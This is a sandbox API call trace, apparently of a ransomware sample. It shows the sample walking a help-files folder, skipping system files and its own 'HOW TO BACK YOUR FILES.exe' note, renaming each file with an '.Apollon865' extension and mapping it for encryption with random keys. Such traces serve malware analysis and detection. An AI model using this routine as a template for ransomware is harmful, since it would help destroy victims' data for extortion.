	[0078.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.743] CloseHandle (hObject=0xc0) returned 1
	[0078.743] CloseHandle (hObject=0x15c) returned 1
	[0078.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.744] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="..") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="windows") returned -1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="temp") returned -1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="boot") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.744] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24
	[0078.744] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 58
	[0078.744] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.VISIO_STD.14.1033.hxn" | out: lpString1="MS.VISIO_STD.14.1033.hxn") returned="MS.VISIO_STD.14.1033.hxn"
	[0078.744] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24
	[0078.744] lstrlenW (lpString="Apollon865") returned 10
	[0078.744] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.744] lstrlenW (lpString=".dll") returned 4
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".dll") returned 1
	[0078.744] lstrlenW (lpString=".lnk") returned 4
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.744] lstrlenW (lpString=".ini") returned 4
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".ini") returned 1
	[0078.744] lstrlenW (lpString=".sys") returned 4
	[0078.744] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2=".sys") returned 1
	[0078.745] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn") returned 24
	[0078.745] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Apollon865") returned 69
	[0078.745] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.746] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.746] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=350) returned 1
	[0078.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.746] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.747] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.747] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.747] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.749] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.750] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.751] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.751] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.751] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.751] CloseHandle (hObject=0xd8) returned 1
	[0078.751] CloseHandle (hObject=0x15c) returned 1
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.752] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="..") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="windows") returned -1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="temp") returned -1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="boot") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.752] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22
	[0078.752] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 58
	[0078.752] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.WINPROJ.14.1033.hxn" | out: lpString1="MS.WINPROJ.14.1033.hxn") returned="MS.WINPROJ.14.1033.hxn"
	[0078.752] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22
	[0078.752] lstrlenW (lpString="Apollon865") returned 10
	[0078.752] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.752] lstrlenW (lpString=".dll") returned 4
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".dll") returned 1
	[0078.752] lstrlenW (lpString=".lnk") returned 4
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.752] lstrlenW (lpString=".ini") returned 4
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".ini") returned 1
	[0078.752] lstrlenW (lpString=".sys") returned 4
	[0078.752] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2=".sys") returned 1
	[0078.753] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn") returned 22
	[0078.753] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Apollon865") returned 67
	[0078.753] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.754] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=338) returned 1
	[0078.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.754] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.755] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.755] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.755] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.757] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.759] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf920) returned 1
	[0078.759] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.759] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.759] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.760] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.760] CloseHandle (hObject=0xd8) returned 1
	[0078.760] CloseHandle (hObject=0x15c) returned 1
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.760] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1
	[0078.760] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.761] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26
	[0078.761] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 56
	[0078.761] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.WINPROJ.DEV.14.1033.hxn" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn") returned="MS.WINPROJ.DEV.14.1033.hxn"
	[0078.761] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26
	[0078.761] lstrlenW (lpString="Apollon865") returned 10
	[0078.761] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.761] lstrlenW (lpString=".dll") returned 4
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.761] lstrlenW (lpString=".lnk") returned 4
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.761] lstrlenW (lpString=".ini") returned 4
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.761] lstrlenW (lpString=".sys") returned 4
	[0078.761] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.761] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26
	[0078.761] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Apollon865") returned 71
	[0078.761] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.763] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=362) returned 1
	[0078.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.763] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf920) returned 1
	[0078.764] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.764] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.764] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0xd8
	[0078.766] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0078.767] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf920) returned 1
	[0078.767] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.767] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.768] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.768] CloseHandle (hObject=0xd8) returned 1
	[0078.768] CloseHandle (hObject=0x15c) returned 1
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.768] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1
	[0078.768] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.768] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="..") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="windows") returned -1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="temp") returned -1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="boot") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.769] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22
	[0078.769] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 60
	[0078.769] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.WINWORD.14.1033.hxn" | out: lpString1="MS.WINWORD.14.1033.hxn") returned="MS.WINWORD.14.1033.hxn"
	[0078.769] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22
	[0078.769] lstrlenW (lpString="Apollon865") returned 10
	[0078.769] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.769] lstrlenW (lpString=".dll") returned 4
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".dll") returned 1
	[0078.769] lstrlenW (lpString=".lnk") returned 4
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.769] lstrlenW (lpString=".ini") returned 4
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".ini") returned 1
	[0078.769] lstrlenW (lpString=".sys") returned 4
	[0078.769] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".sys") returned 1
	[0078.769] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22
	[0078.769] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Apollon865") returned 67
